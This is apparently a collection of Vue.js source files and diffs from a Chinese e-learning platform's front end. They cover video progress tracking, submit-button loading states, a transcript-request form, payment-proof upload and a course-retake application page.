......@@ -146,35 +147,30 @@ export default {
if (this.progress.cpt) {
this.player.seek(this.progress.cpt)
}
// 更新视频观看总时长
this.updateWatchTime()
},
// 当前播放时间更新
onTimeupdate(time) {
this.isPlaying = true
time = Math.floor(time)
const ppts = this.chatperResources.ppts || []
let index = this.chatperResources.ppts.findIndex(
item => item.ppt_point > time
)
let index = this.chatperResources.ppts.findIndex(item => item.ppt_point > time)
index = index !== -1 ? index - 1 : ppts.length - 1
this.$emit('change-ppt', index)
const durations = this.player.getDuration()
// 更新视频时间
this.progress.cpt = parseInt(time)
// 更新视频时长
this.progress.mpt = parseInt(durations)
// 更新当前播放时间
this.progress.cpt = time
// 观看的最大点
this.progress.mpt = Math.max(time, this.progress.mpt)
const hasTimePoint = this.watchedTimePoint.includes(this.progress.cpt)
if (!hasTimePoint) {
this.watchedTimePoint.push(this.progress.cpt)
}
// 更新视频观看总时长
this.updateWatchTime(time)
// 更新视频进度,10秒更新一次
if (this.throttled) {
this.throttled(time, durations)
} else {
this.throttled = throttle(
this.updateChapterVideoProgress,
this.throttleWait * 1000
)
this.throttled = throttle(this.updateChapterVideoProgress, this.throttleWait * 1000, { leading: false })
}
},
// 更新视频当前播放时间
......@@ -226,12 +222,11 @@ export default {
},
// 更新章节视频进度
updateChapterVideoProgress(time, durations) {
// this.progress.pt += this.throttleWait
// 登录用户信息
const user = window.G.UserInfo
const params = {
sid: user.student_info.id,
uid: user.uid,
uid: user.id,
d: Cookies.get('_idt'),
i: Cookies.get('_idt'),
c: this.cid, // 课程ID
......@@ -247,24 +242,18 @@ export default {
this.watchedTimePoint = []
},
// 更新观看总时长
updateWatchTime() {
this.timer && clearInterval(this.timer)
updateWatchTime(time) {
if (time === this.watchedTime) {
return
}
this.watchedTime = time
// 增加跳过片头时间
if (this.isSkip && !this.progress.pt) {
this.progress.pt = this.skipTime + this.throttleWait
this.progress.pt = this.skipTime + 20
}
// 默认增加时间
this.progress.pt = this.progress.pt || this.throttleWait
this.timer = setInterval(() => {
// safair 浏览器下有bug
// const status = this.player.getStatus()
if (this.isPlaying) {
// 播放倍速
const speed = this.player._originalPlaybackRate || 1
this.progress.pt = this.progress.pt + 1 * speed
}
this.isPlaying = false
}, 1000)
this.progress.pt = this.progress.pt || 20
this.progress.pt++
}
},
beforeMount() {
......@@ -272,9 +261,6 @@ export default {
this.getChapterVideo()
// 获取视频进度
this.getChapterVideoProgress()
},
destroyed() {
this.timer && clearInterval(this.timer)
}
}
</script>
......
......@@ -5,7 +5,11 @@
<script>
export default {
name: 'VideoPlayer',
props: { isSkip: Boolean, video: Object },
props: {
isSkip: Boolean,
video: Object,
autoplay: { type: Boolean, default: false }
},
data() {
return { player: null }
},
......@@ -28,12 +32,11 @@ export default {
source: JSON.stringify({ FD, LD, SD }),
width: '100%',
height: '100%',
autoplay: false,
autoplay: this.autoplay,
isLive: false,
preload: true,
useH5Prism: true,
controlBarVisibility: 'always',
defaultDefinition: 'SD',
definition: 'FD,LD,SD',
defaultDefinition: 'LD',
useHlsPluginForSafari: true
},
function(player) {
......
......@@ -31,7 +31,7 @@
</template>
<div class="exam-buttons">
<el-tooltip effect="dark" content="提交之后就不能修改了哦" placement="right">
<el-button type="primary" @click="onSubmit">{{submitText}}</el-button>
<el-button type="primary" :loading="submitLoading" @click="onSubmit">{{submitText}}</el-button>
</el-tooltip>
</div>
</el-form>
......@@ -78,7 +78,8 @@ export default {
messageInstance: null,
exam: {},
isStartExam: false, // 是否开始考试
autoSubmitTimer: null // 自动提交定时器
autoSubmitTimer: null, // 自动提交定时器
submitLoading: false
}
},
watch: {
......@@ -265,6 +266,7 @@ export default {
},
// 请求提交接口
handleSubmitRequest(params) {
this.submitLoading = true
params.paper_type = 0
api
.submitCourseExam(this.sid, this.cid, this.pid, params)
......@@ -284,6 +286,9 @@ export default {
.catch(error => {
this.$message.error(error.message)
})
.finally(() => {
this.submitLoading = false
})
}
},
beforeMount() {
......
......@@ -15,7 +15,7 @@
></exam-item>
<div class="exam-buttons">
<el-tooltip effect="dark" content="提交之后就不能修改了哦" placement="right">
<el-button type="primary" @click="onSubmit">{{submitText}}</el-button>
<el-button type="primary" :loading="submitLoading" @click="onSubmit">{{submitText}}</el-button>
</el-tooltip>
</div>
</el-form>
......@@ -52,7 +52,8 @@ export default {
detail: null,
questions: [], // 问题列表
startTime: new Date().getTime(), // 进入时间
messageInstance: null
messageInstance: null,
submitLoading: false
}
},
watch: {
......@@ -247,6 +248,7 @@ export default {
},
// 请求提交接口
handleSubmitRequest(params) {
this.submitLoading = true
api
.sbumitChapterHomework(params)
.then(response => {
......@@ -259,6 +261,9 @@ export default {
.catch(error => {
this.$message.error(error.message)
})
.finally(() => {
this.submitLoading = false
})
}
},
beforeMount() {
......
......@@ -69,8 +69,9 @@
<el-tooltip content="在获老师批改之前,可以多次提交,将以最后一次提交为准" placement="right">
<el-button
type="primary"
@click="onSubmit"
:disabled="disabled || !isWorkTime"
:loading="submitLoading"
@click="onSubmit"
>{{ submitText }}</el-button>
</el-tooltip>
</div>
......@@ -115,7 +116,8 @@ export default {
startTime: new Date().getTime(), // 进入时间
messageInstance: null,
deadline: '', // 截止时间
disabled: false
disabled: false,
submitLoading: false
}
},
watch: {
......@@ -295,6 +297,7 @@ export default {
},
// 请求提交接口
handleSubmitRequest(params) {
this.submitLoading = true
api
.sbumitChapterHomework(params)
.then(response => {
......@@ -308,6 +311,9 @@ export default {
.catch(error => {
this.$message.error(error.message)
})
.finally(() => {
this.submitLoading = false
})
},
// 重新编辑
onReEdit() {
......
......@@ -34,7 +34,7 @@
</template>
<div class="exam-buttons">
<el-tooltip effect="dark" content="提交之后就不能修改了哦" placement="right">
<el-button type="primary" @click="onSubmit">{{submitText}}</el-button>
<el-button type="primary" :loading="submitLoading" @click="onSubmit">{{submitText}}</el-button>
</el-tooltip>
</div>
</el-form>
......@@ -83,7 +83,8 @@ export default {
exam: {},
isStartExam: false, // 是否开始考试
autoSubmitTimer: null, // 自动提交定时器
checkStatusTimer: null // 考试状态定时器
checkStatusTimer: null, // 考试状态定时器
submitLoading: false
}
},
computed: {
......@@ -287,6 +288,7 @@ export default {
},
// 请求提交接口
handleSubmitRequest(params) {
this.submitLoading = true
api
.submitCourseExam(this.sid, this.cid, this.pid, params)
.then(response => {
......@@ -305,6 +307,9 @@ export default {
.catch(error => {
this.$message.error(error.message)
})
.finally(() => {
this.submitLoading = false
})
}
},
beforeMount() {
......
......@@ -62,7 +62,12 @@
</div>
<div class="buttons">
<el-tooltip content="在获老师批改之前,可以多次提交,将以最后一次提交为准" placement="right">
<el-button type="primary" @click="onSubmit" :disabled="isRevised">{{submitText}}</el-button>
<el-button
type="primary"
:disabled="isRevised"
:loading="submitLoading"
@click="onSubmit"
>{{submitText}}</el-button>
</el-tooltip>
</div>
</template>
......@@ -117,7 +122,8 @@ export default {
},
detail: null,
loading: false,
messageInstance: null
messageInstance: null,
submitLoading: false
}
},
computed: {
......@@ -179,6 +185,7 @@ export default {
},
// 请求提交接口
handleSubmitRequest(params) {
this.submitLoading = true
api
.updateCourseWork(this.sid, this.cid, params)
.then(response => {
......@@ -192,6 +199,9 @@ export default {
.catch(error => {
this.$message.error(error.message)
})
.finally(() => {
this.submitLoading = false
})
}
},
beforeMount() {
......
......@@ -20,6 +20,10 @@
</el-tooltip>
</router-link>
</template>
<div class="course-menu" @click="menuVisible = !menuVisible">
<i class="el-icon-s-unfold" v-if="menuVisible"></i>
<i class="el-icon-s-fold" v-else></i>
</div>
</div>
<!-- 主体区域 -->
<div class="course-viewer-main-bd">
......@@ -27,9 +31,10 @@
:data="detail"
:chapter="activeChapter"
:pptIndex="pptIndex"
:isSeek="isSeek"
:key="pid"
@pptupdate="handlePPTupdate"
@change-ppt="handleChangePPT"
@change-ppt="handleChangePPT(...arguments, false)"
/>
</div>
</div>
......@@ -40,9 +45,9 @@
:active="activeChapter"
:ppts="ppts"
:pptIndex="pptIndex"
@change-ppt="handleChangePPT"
@change-ppt="handleChangePPT(...arguments, true)"
v-if="detail.chapters"
v-show="!isLive && !isCourseExam"
v-show="menuVisible"
></v-aside>
</div>
</template>
......@@ -60,13 +65,25 @@ export default {
return {
detail: {},
ppts: [],
pptIndex: 0
pptIndex: 0,
isSeek: false,
menuVisible: true
}
},
watch: {
activeChapter() {
this.ppts = []
this.pptIndex = 0
},
isLive(value) {
if (value) {
this.menuVisible = false
}
},
isCourseExam(value) {
if (value) {
this.menuVisible = false
}
}
},
computed: {
......@@ -115,7 +132,7 @@ export default {
},
// 直播
isLive() {
return this.activeChapter ? this.activeChapter.type === 5 : false
return this.activeChapter ? [5, 8].includes(this.activeChapter.type) : false
},
// 课程考试
isCourseExam() {
......@@ -149,8 +166,9 @@ export default {
this.ppts = list
},
// 右侧菜单选中的PPT修改
handleChangePPT(index) {
handleChangePPT(index, isSeek) {
this.pptIndex = index
this.isSeek = isSeek
}
},
beforeMount() {
......@@ -186,7 +204,7 @@ export default {
.course-viewer-main-hd__title {
flex: 1;
font-size: 1.5em;
text-align: center;
// text-align: center;
color: #a0a0a0;
}
.course-viewer-main-bd {
......@@ -238,4 +256,17 @@ export default {
font-size: 18px;
// border-bottom: 3px solid #707070;
}
.course-menu {
width: 24px;
height: 24px;
padding: 12px;
margin-right: 10px;
color: #fff;
text-align: center;
border-radius: 50%;
cursor: pointer;
&:hover {
background-color: rgba(255, 255, 255, 0.08);
}
}
</style>
import BaseAPI from '@/api/base_api'
const httpRequest = new BaseAPI(webConf)
// 获取事务类型列表
export function getAffairType() {
return httpRequest.get('/api/lms/v2/lobby/affairs')
}
// 获取事务列表
export function getAffairList() {
return httpRequest.get('/api/lms/v2/lobby/processes')
}
// 获取事务详情
export function getAffair(id) {
return httpRequest.get(`/api/lms/v2/lobby/processes/${id}`)
}
// 创建事务
export function createAffair(data) {
return httpRequest.post('/api/lms/v2/lobby/processes', data)
}
// 更新事务
export function updateAffair(id, data) {
return httpRequest.post(`/api/lms/v2/lobby/processes/${id}`, data)
}
// 删除事务
export function deleteAffair(id) {
return httpRequest({
url: `/api/lms/v2/lobby/processes/${id}`,
method: 'delete'
})
}
// 上传文件
export function upload(data) {
return httpRequest({
url: '/api/lms/v2/lobby/tools/upload',
method: 'post',
headers: { 'Content-Type': 'multipart/form-data' },
data
})
}
// 获取学期
export function getSemesters(params) {
return httpRequest.get('/api/lms/v2/lobby/semesters')
}
// 获取课程
export function getCourses(sid) {
return httpRequest.get(`/api/lms/v2/lobby/semesters/${sid}/courses`)
}
// 获取成绩单
export function getReport() {
return httpRequest.get('/api/lms/v2/lobby/havereport')
}
// 获取学生
export function getStudent() {
return httpRequest.get('/api/lms/v2/lobby/student')
}
<template>
<div class="hall-form">
<el-radio
v-model="schoolReport"
@change="changeReport"
label="elreport"
border
size="small"
>电子成绩单</el-radio>
<el-radio
v-model="schoolReport"
@change="changeReport"
label="pareport"
border
size="small"
>纸质成绩单</el-radio>
<el-form
:model="ruleForm"
:rules="rules"
ref="ruleForm"
:disabled="Number(ruleForm.submit) === 1"
label-width="100px"
size="small"
label-position="top"
class="hall-form-body"
>
<!-- <el-form-item label="姓名" prop="personal_name">
<el-input v-model.trim="ruleForm.personal_name"></el-input>
</el-form-item>
<el-form-item label="班级" prop="class_name">
<el-input v-model.trim="ruleForm.class_name"></el-input>
</el-form-item>-->
<el-form-item label="Sofia ID" prop="sofia_id" key="sofia_id">
<el-input v-model.trim="ruleForm.sofia_id"></el-input>
</el-form-item>
<el-form-item label="电话" prop="telephone" key="telephone" v-if="schoolReport === 'pareport'">
<el-input v-model.trim="ruleForm.telephone"></el-input>
</el-form-item>
<el-form-item :label="schoolReport === 'elreport' ? '邮箱':'邮寄地址'" prop="email">
<el-input v-model.trim="ruleForm.email"></el-input>
</el-form-item>
<el-form-item label="需打印的份数" prop="number" key="number" v-if="schoolReport === 'pareport'">
<el-input v-model.trim="ruleForm.number"></el-input>
</el-form-item>
<el-form-item class="ts-width">
<span class="red" v-if="schoolReport === 'elreport'">
毕业生可申请成绩单。
<br />请仔细核查您填写的信息后提交,提交后不可修改。电子成绩单将发送至您填写的邮箱。
</span>
<span class="red" v-else>
毕业生可申请成绩单。
<br />请仔细核查您填写的信息后提交,提交后不可修改。纸质成绩单将按您填写的地址邮寄给您。
</span>
</el-form-item>
<el-form-item class="ts-width">
<el-button
type="primary"
@click="submitForm('ruleForm')"
>{{Number(ruleForm.submit) === 1 ? '已提交' : '提交'}}</el-button>
</el-form-item>
</el-form>
</div>
</template>
<script>
export default {
name: 'hall-form',
props: {
formData: {
type: Object
}
},
watch: {
formData: {
immediate: true,
handler(value) {
this.ruleForm = Object.assign({}, value)
this.$nextTick(() => {
this.$refs.ruleForm.clearValidate()
})
}
}
},
data() {
var checkPhone = (rule, value, callback) => {
var reg = /^1[345789]\d{9}$/
if (!reg.test(value)) {
callback(new Error('请输入11位手机号!'))
} else {
callback()
}
}
var blurText = async (rule, value, callback) => {
var boolean = new RegExp('^[1-9][0-9]*$').test(value)
if (!boolean) {
callback(new Error('请输入正整数!'))
} else {
callback()
}
}
var checkEmail = async (rule, value, callback) => {
if (!value) {
if (this.schoolReport === 'pareport') {
callback(new Error('请输入邮寄地址!'))
} else {
callback(new Error('请输入邮箱!'))
}
} else {
callback()
}
}
var checksofiaId = (rule, value, callback) => {
var boolean = new RegExp('^[1-9][0-9]*$').test(value)
if (!value) {
callback(new Error('请输入Sofia ID!'))
} else if (!boolean) {
callback(new Error('请输入正整数!'))
} else {
callback()
}
}
return {
ruleForm: {
sofia_id: '',
telephone: '',
email: '',
number: null,
submit: 0
},
rules: {
// personal_name: [
// { required: true, message: '请输入姓名', trigger: 'blur' }
// ],
// class_name: [
// { required: true, message: '请输入班级', trigger: 'blur' }
// ],
sofia_id: [{ required: true, validator: checksofiaId, trigger: 'blur' }],
telephone: [{ required: true, validator: checkPhone, trigger: 'blur' }],
email: [{ required: true, validator: checkEmail, trigger: 'blur' }],
number: [{ required: true, validator: blurText, trigger: 'blur' }]
},
schoolReport: 'elreport'
}
},
methods: {
submitForm(formName) {
this.$refs[formName].validate(valid => {
if (valid) {
this.$emit('submit', this.ruleForm, this.schoolReport)
} else {
return false
}
})
},
changeReport() {
this.$emit('submitType', this.schoolReport)
}
},
mounted() {
this.changeReport()
}
}
</script>
<style lang="scss" scoped>
.hall-form {
width: 100%;
.hall-form-body {
padding: 15px 10px 20px 10px;
.red {
color: red;
}
}
}
.hall-form .red:before {
content: '*';
color: #f56c6c;
margin-right: 4px;
}
::v-deep .el-form-item__label {
padding: 0 0 5px 0;
}
::v-deep .el-form-item {
margin-bottom: 12px;
}
::v-deep .el-input {
width: 25%;
}
::v-deep .el-button {
width: 25%;
margin-top: 20px;
}
</style>
<template>
<div class="pay">
<template v-for="(item, index) in datalist">
<div class="pay-box" :key="index">
<i class="el-icon-error" @click="handleRemove(index)" v-if="index && canEditable(item)"></i>
<pay-item :data="item" :index="index" :disabled="!canEditable(item)"></pay-item>
</div>
</template>
<el-button
icon="el-icon-plus"
@click="handleAdd"
style="margin-bottom:20px"
size="medium"
v-if="!disabled"
>新增缴费凭证</el-button>
</div>
</template>
<script>
import PayItem from './payItem'
export default {
props: {
datalist: { type: Array, default: () => [] },
disabled: { type: Boolean, default: false }
},
components: { PayItem },
methods: {
canEditable(data) {
if (this.disabled) {
return false
}
return !['1', '2'].includes(data.status)
},
// 添加
handleAdd() {
this.datalist.push({ pay_date: '', type: '', money: '', url: '' })
},
// 删除
handleRemove(index) {
this.datalist.splice(index, 1)
}
},
beforeMount() {
// 默认创建一条
!this.datalist.length && this.handleAdd()
}
}
</script>
<style lang="scss" scoped>
.pay-box {
position: relative;
border: 1px solid #b80037;
padding: 20px;
.el-icon-error {
position: absolute;
right: -14px;
top: -14px;
font-size: 28px;
color: #b80037;
cursor: pointer;
}
}
.pay-box {
margin-bottom: 20px;
}
</style>
<template>
<div class="pay-item">
<el-form-item
label="支付时间"
:prop="'payment_instrument.' + index + '.pay_date'"
:rules="{ required: true, message: '请选择日期' }"
>
<el-date-picker
v-model="data.pay_date"
type="date"
value-format="yyyy-MM-dd"
placeholder="选择日期"
:disabled="disabled"
></el-date-picker>
</el-form-item>
<el-form-item
label="支付方式"
:prop="'payment_instrument.' + index + '.type'"
:rules="{ required: true, message: '请选择支付方式' }"
>
<el-popover placement="top-start" trigger="hover">
<p>银行账户名称:清控紫荆(北京)教育科技股份有限公司</p>
<p>银行帐号:694485289</p>
<p>开户行:中国民生银行股份有限公司北京魏公村支行</p>
<el-radio slot="reference" label="1" v-model="data.type" :disabled="disabled">银行卡转账</el-radio>
</el-popover>
<el-popover placement="top-start" trigger="hover">
<p>支付宝户名:清控紫荆(北京)教育科技股份有限公司</p>
<el-radio
slot="reference"
label="2"
v-model="data.type"
:disabled="disabled"
style="margin-left:40px;"
>支付宝转账</el-radio>
</el-popover>
</el-form-item>
<el-form-item
label="支付金额"
:prop="'payment_instrument.' + index + '.money'"
:rules="{ required: true, message: '请输入支付金额' }"
>
<el-input v-model="data.money" placeholder="输入支付金额" :disabled="disabled" style="width:220px">
<template slot="append">¥</template>
</el-input>
</el-form-item>
<el-form-item
label="上传缴费凭证"
:prop="'payment_instrument.' + index + '.url'"
:rules="{ required: true, message: '请上传缴费凭证' }"
>
<app-upload v-model="data.url" :disabled="disabled"></app-upload>
</el-form-item>
<el-form-item label="审核状态" v-if="statusText">
<el-tag>{{statusText}}</el-tag>
</el-form-item>
</div>
</template>
<script>
import AppUpload from '@/components/upload'
export default {
props: {
data: { type: Object, required: true },
index: { type: Number },
disabled: { type: Boolean, default: false }
},
components: { AppUpload },
computed: {
statusText() {
const status = {
'-1': '待审核',
0: '未通过',
1: '通过'
}
return status[this.data.status] || ''
}
}
}
</script>
......@@ -5,23 +5,28 @@
</div>
<Tap :tapParam="tapParam" @tapParam="tapIndexs"></Tap>
<div class="con-box">
<el-button
type="primary"
v-if="tapIndex==0"
@click="golearningAdd('/app/affairs-hall/learning-add/-1')"
>申请新的活动</el-button>
<el-button
type="primary"
v-if="tapIndex==1"
@click="golearningAdd('/app/affairs-hall/share-add/-1')"
>申请新乐分享</el-button>
<el-button
type="primary"
v-if="tapIndex==2"
@click="golearningAdd('/app/affairs-hall/again-add/-1')"
>申请重修</el-button>
<div style="width: 100%; height: 0.2rem;"></div>
<table-list :key="affairId" v-bind="tableOption" v-if="affairId" ref="tableList"></table-list>
<el-button type="primary" v-if="tapIndex == 0" @click="golearningAdd('/app/affairs-hall/learning-add/-1')"
>申请新的活动</el-button
>
<el-button type="primary" v-if="tapIndex == 1" @click="golearningAdd('/app/affairs-hall/share-add/-1')"
>申请新乐分享</el-button
>
<el-button type="primary" v-if="tapIndex == 2" @click="golearningAdd('/app/affairs-hall/again-add/-1')"
>申请重修</el-button
>
<div style="width: 100%; height: 0.2rem"></div>
<table-list
:key="affairId"
v-bind="tableOption"
v-if="affairId && resultName !== '成绩单'"
ref="tableList"
></table-list>
<hall-form
v-if="resultName === '成绩单'"
:formData="formData"
@submit="submit"
@submitType="obtainReport"
></hall-form>
</div>
<el-dialog title="提示" :visible.sync="dialogVisible" width="30%">
<span>确定删除?</span>
......@@ -37,6 +42,7 @@
import Tap from '../../components/comTable/tap.vue'
import mPage from '../../components/comTable/mPage.vue'
import TableList from '../../components/comTable/tableList.vue'
import HallForm from './components/hall-form.vue'
import cAction from '@action'
const status = {
'-1': '待审核',
......@@ -49,6 +55,7 @@ const status = {
export default {
components: {
Tap,
HallForm,
mPage,
TableList
},
......@@ -223,6 +230,8 @@ export default {
}
},
affairList: [],
formData: {},
resultName: '',
affairId: null
}
},
......@@ -237,6 +246,32 @@ export default {
}
},
methods: {
submit(row, type) {
const params = Object.assign(
{
type: type,
affair_id: this.affairList.find(k => k.form_name === type).id
},
row
)
cAction.Affairs.submitLearning(params)
.then(() => {
this.$message({ type: 'success', message: '已提交成功!' })
this.obtainReport(type)
})
.catch(e => {
this.$message.error(e.message)
})
},
obtainReport(type = 'elreport') {
cAction.Affairs.obtainReport(type)
.then(data => {
this.formData = data
})
.catch(e => {
this.$message.error(e.message)
})
},
confirmDeletion(row) {
/* 删除 */
const loading = this.$loading({
......@@ -262,6 +297,7 @@ export default {
this.dialogVisible = false
},
tapIndexs(data) {
this.resultName = data.name
this.tapIndex = data.index
this.affairId = data.id
},
......@@ -269,9 +305,14 @@ export default {
getTapData() {
cAction.Affairs.getAffairsType()
.then(data => {
this.tapParam[0].arrItem = data.map(item => {
return { val: item.id, name: item.affair_name }
this.tapParam[0].arrItem = data
.map(item => {
if (item.form_name === 'elreport') {
item.affair_name = '成绩单'
}
return { val: item.id, name: item.affair_name, form_name: item.form_name }
})
.filter(k => k.form_name !== 'pareport')
const [first] = data
const datas = data[this.$route.query.index] || first
this.affairId = datas.id
......
<template>
<div>
<div class="con-title">重修申请</div>
<div class="con-box">
<el-button type="text">
<router-link :to="{ path: '/app/affairs-hall/hall', query: { index: 2 } }">返回列表</router-link>
</el-button>
<el-row type="flex" justify="center">
<el-col :lg="12">
<el-form
ref="form"
:model="ruleForm"
:rules="rules"
:disabled="isView"
label-width="110px"
>
<el-form-item label="姓名" prop="personal_name" required>
<el-input
v-model="ruleForm.personal_name"
readonly
:disabled="disabledInfo"
placeholder="请输入您的姓名"
/>
</el-form-item>
<el-form-item label="班级" prop="class_name" required>
<el-input
v-model="ruleForm.class_name"
readonly
:disabled="disabledInfo"
placeholder="请输入您的班级"
/>
</el-form-item>
<el-form-item label="Sofia ID" prop="sofia_id" required>
<el-input
v-model="ruleForm.sofia_id"
readonly
:disabled="disabledInfo"
placeholder="请输入您的Sofia ID"
/>
</el-form-item>
<el-form-item label="重修学期" prop="semester_name">
<el-select
v-model="ruleForm.semester_name"
placeholder="请选择"
@change="onSemesterChange"
:disabled="disabledInfo"
>
<el-option v-for="item in semesterList" :key="item.id" :value="item.semester_name"></el-option>
</el-select>
</el-form-item>
<el-form-item label="重修课程" prop="course_id">
<el-checkbox-group v-model="ruleForm.course_id">
<el-checkbox
v-for="item in courseList"
:label="item.id"
:key="item.id"
:disabled="disabledInfo"
>{{item.course_name}}</el-checkbox>
</el-checkbox-group>
</el-form-item>
<div style="padding-left:110px" v-if="hasPay">
<div class="score" v-if="detail.form">{{detail.form.score_sum_str}}</div>
<pay :datalist="ruleForm.payment_instrument" :disabled="disabledPay || isView"></pay>
</div>
<template v-if="isView && detail.status !== -1">
<el-form-item label="审核时间">
<el-input :value="detail.approve_time1" readonly />
</el-form-item>
<el-form-item label="备注" prop="content">
<el-input
type="textarea"
:autosize="{ minRows: 5 }"
:value="detail.remark"
readonly
/>
</el-form-item>
</template>
<el-form-item>
<el-button type="primary" @click="onSubmit" v-if="!isView">保存并提交</el-button>
<el-button type="info" @click="onAbort" v-if="hasAbort">撤回申请</el-button>
</el-form-item>
</el-form>
</el-col>
</el-row>
</div>
</div>
</template>
<script>
import * as api from '../api'
import Pay from '../components/pay'
export default {
props: {
isAdd: { type: Boolean, default: false },
isEdit: { type: Boolean, default: false },
isView: { type: Boolean, default: false }
},
components: { Pay },
data() {
return {
detail: {},
ruleForm: {
personal_name: '',
class_name: '',
sofia_id: '123',
semester_name: '',
course_id: [],
payment_instrument: []
},
rules: {
personal_name: [{ required: true, message: '请输入您的姓名', trigger: 'blur' }],
class_name: [{ required: true, message: '请输入您的班级', trigger: 'blur' }],
semester_name: [{ required: true, message: '请输入您的挂科学期', trigger: 'blur' }],
course_name: [{ required: true, message: '请选择您的重修课程名称', trigger: 'blur' }],
course_id: [{ required: true, message: '请选择您的重修课程名称', trigger: 'blur' }]
},
semesterList: [], // 学期列表
courseList: [] // 课程列表
}
},
watch: {
semesterId(value) {
value && this.getCourses()
}
},
computed: {
pid() {
return this.$route.params.id
},
// 事务ID
affairId() {
return this.$route.query.id
},
// 学期ID
semesterId() {
const found = this.semesterList.find(item => item.semester_name === this.ruleForm.semester_name)
return found ? found.id : ''
},
// 撤回
hasAbort() {
return this.isEdit && this.detail.status === -1
},
// 支付凭证
hasPay() {
return !this.isAdd && this.detail.file_put !== 0
},
// 禁用信息部分
disabledInfo() {
return this.isView || (this.isEdit && this.detail.status !== -1)
},
// 禁用支付凭证模块
disabledPay() {
return this.isView || (this.isEdit && this.detail.file_put === 2)
}
},
methods: {
init() {
// 获取学期
this.getSemesters()
if (this.isEdit || this.isView) {
this.getDetail()
} else {
// 获取学生信息
this.getStudent()
}
},
// 获取学生信息
getStudent() {
api.getStudent().then(response => {
const data = this.$_.pick(response, ['personal_name', 'class_name', 'sofia_id'])
Object.assign(this.ruleForm, data)
})
},
// 获取学期
getSemesters() {
api.getSemesters().then(response => {
this.semesterList = response.data
const [first] = this.semesterList
// 设置默认值
if (first && !this.isEdit) {
this.ruleForm.semester_name = first.semester_name
}
})
},
onSemesterChange() {
this.ruleForm.course_id = []
},
// 获取课程
getCourses() {
api.getCourses(this.semesterId).then(response => {
this.courseList = response.data
})
},
// 获取详情
getDetail() {
api.getAffair(this.pid).then(response => {
const form = response.form
if (form.course_name_arr) {
form.course_id = form.course_name_arr.map(item => item.course_id)
}
// 设置表单数据
const ruleForm = this.$_.pick(response.form, [
'personal_name',
'class_name',
'sofia_id',
'semester_name',
'course_id',
'payment_instrument'
])
Object.assign(this.ruleForm, ruleForm)
// 设置接口返回的数据
this.detail = response
})
},
// 添加
addRequest(data) {
api.createAffair(data).then(response => {
this.$message.success(response.message)
this.$router.push({ path: '/app/affairs-hall/hall', query: { index: 2 } })
})
},
// 修改
updateRequest(data) {
api.updateAffair(this.pid, data).then(response => {
this.$message.success(response.message)
this.$router.push({ path: '/app/affairs-hall/hall', query: { index: 2 } })
})
},
// 提交
onSubmit() {
this.$refs.form
.validate()
.then(response => {
const data = Object.assign({ affair_id: this.affairId }, this.ruleForm)
data.course_id = this.ruleForm.course_id.join(',')
data.payment_instrument = JSON.stringify(this.ruleForm.payment_instrument)
this.isEdit ? this.updateRequest(data) : this.addRequest(data)
})
.catch(() => {
this.$message.error('请完善表单信息')
})
},
// 撤回
onAbort() {
this.$confirm('你确定要撤回重修申请吗?撤回后,需要重新提交申请并由教务审批。', {
confirmButtonText: '确定',
cancelButtonText: '取消'
})
.then(() => {})
.catch(() => {})
}
},
mounted() {
this.init()
}
}
</script>
<style lang="scss" scoped>
::v-deep .el-form--label-top .el-form-item__label {
line-height: 1;
}
.score {
margin-bottom: 20px;
color: #b80037;
}
</style>
<template>
</template>
<script>
export default {
}
</script>
......@@ -144,7 +144,8 @@ export default {
!this.ckeditor && (this.ckeditor = CKEDITOR.replace('editor', {
height: 300,
uiColor: '#eeeeee',
filebrowserImageUploadUrl: '/api/ckeditor/img/upload',
filebrowserImageUploadUrl: '/api/ck/form/ckeditor-upload',
fileTools_requestHeaders: { tenant: 'kelley' },
// resize_enabled: typeof this.props.resizable === 'boolean' ? this.props.resizable : true,
toolbar: [
// { name: 'document', items: ['Source', '-', 'Save', 'NewPage', 'Preview'] },
......
......@@ -107,13 +107,10 @@ export default {
clearInterval(this.timeInterval)
this.timeInterval = null
}
this.timeInterval = setInterval(() => {
cAction.Player.getNewLiveMsg().then(json => {
if (json.status === 200) {
this.newLiveMsg = json.data
}
}).catch(e => { this.$message.error(e.message) }).finally(() => { })
}, 3000)
// 获取最新直播
this.getLatestLive()
// 定时获取最新直播
this.timeInterval = setInterval(this.getLatestLive, 10000)
const loading = this.$loading({ lock: true, text: '', spinner: '', background: 'rgba(255, 255, 255, 0.9)' })
cAction.Course.getLearnFind().then(data => {
......@@ -193,8 +190,20 @@ export default {
},
/* 直接进直播 */
goLive () {
if (this.newLiveMsg.live.type === 8) {
window.open(this.newLiveMsg.live.record_url || this.newLiveMsg.live.join_url)
} else {
this.$router.push({ name: 'viewerCourseChapter', params: { sid: this.newLiveMsg.semester_id, cid: this.newLiveMsg.course_id, id: this.newLiveMsg.chapter_id } })
}
},
// 获取最新直播
getLatestLive() {
cAction.Player.getNewLiveMsg().then(json => {
if (json.status === 200) {
this.newLiveMsg = json.data
}
}).catch(e => { this.$message.error(e.message) })
}
}
}
</script>
......
......@@ -50,7 +50,7 @@
<div v-bind:key="index1" :class='["body", (item1.id === tabs[1].chapterList.currentChapterId && "on")]'>
<div class='name' :data-vid='item1.vid' :data-cid='item1.cid' :data-sid='item1.sid' :data-hasVA='item1.time' :data-type="item1.video_provider" :data-name='item1.name' :data-index='index' :data-count='index1' @click='jumpToOtherVA(item1)'>
{{item1.name}}
<template v-if='item1.type === 5'>
<template v-if='[5,8].includes(item1.type)'>
<div class='time'>{{ item1.live.start_time }} {{ item1.live.statusStr }}</div>
</template>
<template v-else>
......@@ -238,31 +238,7 @@ export default {
isShow: false,
chapterList: {
currentChapterId: '11', // 当前章节id
course: [{
title: '第一章:测试章节',
isUp: true,
chapters: [
// { id: '11', time: '28:18', name: '1.1 现值(PV)和终值(FV)' },
{ id: '12', time: '19:09', name: '1.2 测试课程' }
]
}, {
title: '第二章:证券估值',
isUp: true,
chapters: [
// { id: '21', time: '27:49', name: '2.1 债券和股票的现金流贴现估值方法' },
// { id: '22', time: '16:04', name: '2.2 债券评级及债券协议' },
// { id: '23', time: '', name: '公司金融第二周测验' },
// { id: '24', time: '', name: '公司金融第二周作业' }
]
}, {
title: '课程大作业',
isUp: true,
chapters: []
}, {
title: '课程资料',
isUp: true,
chapters: []
}]
course: []
}
}, {
title: '课程讨论',
......@@ -393,9 +369,7 @@ export default {
window.addEventListener('resize', this.resizeRoot.bind(this), false)
/* 实时刷新数据 */
if (this.timeHeart) { clearInterval(this.timeHeart); this.timeHeart = null }
this.timeHeart = setInterval(() => {
this.updatePages()
}, 3000)
// this.timeHeart = setInterval(this.updatePages(), 3000)
